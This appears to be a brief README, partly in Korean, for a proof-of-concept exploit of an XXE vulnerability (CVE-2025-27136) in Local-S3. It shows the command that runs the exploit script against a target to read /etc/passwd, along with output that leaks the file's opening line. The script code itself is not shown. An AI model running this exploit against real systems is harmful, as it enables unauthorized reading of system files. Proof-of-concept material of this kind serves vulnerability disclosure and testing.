CVE-2025-27136-XXE-LocalS3

CVE-2025-27136 XXE-LocalS3 CVE-2025-27136 Local-S3 내 XXE에 대한 개념 증명 └─$ python3 exploit.py http://$ip:8080 /etc/passwd + S3 서비스 감지됨 + 버킷 생성 중: xxe-32d14993 + 서버 응답: ac3aaf20-e59a-4705-9505-3ebb01db7fc1 + ?location을 통해 파일 검색 중 + 응답: root❌0:0:root:/root:/bin/bash...